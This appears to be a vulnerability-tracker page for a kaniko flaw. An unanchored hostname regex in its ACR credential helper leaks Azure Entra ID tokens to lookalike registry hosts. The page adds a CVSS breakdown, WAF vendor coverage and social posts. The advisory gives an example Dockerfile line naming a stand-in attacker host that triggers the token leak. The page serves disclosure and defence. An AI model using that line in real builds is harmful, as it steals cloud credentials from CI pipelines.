kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts
Not confirmed exploited. No WAF vendor names it yet.
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper… More
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
Edge coverage
Claimed by vendorsAsk Vigil
AI · answers from this pageWorkers AI (Llama 3.3). Can be wrong: check the cited source.
Severity, decoded
CVSS 3.1Exploitable over the network, with no privileges and user interaction, leading to full loss of confidentiality and integrity, and the impact can reach components beyond the vulnerable one.
How the score is built
- Attack vectorAn attacker can reach it over the internet; no access to your network needed.Network
- Attack complexityNo special conditions are needed; the attack works reliably.Low
- Privileges requiredNo account or login is needed.None
- User interactionA user has to do something first, such as open a file or click a link.Required
- ScopeThe attack can spread beyond the vulnerable component to other parts of the system.Changed
- Confidentiality impactAn attacker can read all data the affected component holds, or the most sensitive parts of it.High
- Integrity impactAn attacker can change any data or files the affected component protects.High
- Availability impactThe component keeps working normally.None
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:NCISA has seen no public exploit and no attacks.
At least one step needs hands-on work, which slows mass attacks.
A successful attack gives full control over the affected software or all of its data.
Public exploits
None foundNo exploit in Exploit-DB or Metasploit, and no scanner template. That lowers, but doesn't remove, the chance of mass exploitation.
Timeline
- 2026-11-02CVE publishedCVE List
- 2026-11-02
Vendor statements
QuotedCloudflareWAF Managed Rules
We found no public statement from this vendor naming this CVE. That is not proof of no protection: generic rules may still catch it. Each row gives the rule ID and its default action. The feed starts in January 2025, so older rules are missing.
AWSAWS WAF Managed Rules
We found no public statement from this vendor naming this CVE. That is not proof of no protection: generic rules may still catch it. AWS often describes a vulnerability without naming its CVE (for example "Log4j"). We count only entries that name the CVE, so AWS coverage is understated.
Microsoft AzureFront Door and Application Gateway WAF (DRS)
We found no public statement from this vendor naming this CVE. That is not proof of no protection: generic rules may still catch it. The rule tables name CVEs but carry no dates, so Azure is left out of every time-to-rule figure.
Google CloudCloud Armor preconfigured WAF rules
We found no public statement from this vendor naming this CVE. That is not proof of no protection: generic rules may still catch it. Google names few CVEs: the release notes start in May 2024 and the rules reference lists CVEs without dates. Its cve-canary rules are opt-in.
FastlyNext-Gen WAF virtual patches
We found no public statement from this vendor naming this CVE. That is not proof of no protection: generic rules may still catch it. The feed holds only the latest 25 changes, so history builds up from the day we started reading it.
F5Attack signatures (Distributed Cloud WAF)
We found no public statement from this vendor naming this CVE. That is not proof of no protection: generic rules may still catch it. Each signature lists the CVEs it references, with its id and date. F5 does not state a default action; signatures enforce once staging ends in your policy.
AkamaiApp & API Protector (Adaptive Security Engine)
This vendor publishes no machine-readable rule changelog we can check.
OWASP CRSCore Rule Set (open source, used inside many WAFs)
We found no public statement from this vendor naming this CVE. That is not proof of no protection: generic rules may still catch it. CRS rarely names CVEs: it relies on generic detections. Our own lab measures what it actually blocks.
Social
Top posts
🚨 CVE-2026-105769 (CVSS 9.3 Critical) Unanchored regex in Google kaniko (< 1.25.20) ACR helper leaks Azure Entra ID / ARM tokens to lookalike FROM registries in CI/CD without executing commands. ⚡ Action: Upgrade kaniko to v1.25.20 immediately. 🔗 https://t.co/zYLl3x6hjf
New CVE-2026-105769 (CVSS 9.3) in kaniko: an unanchored ACR hostname check can leak Azure/Entra access tokens to attacker-controlled registries during container builds. Requires an available Azure identity and untrusted image references. Fixed in v1.25.20.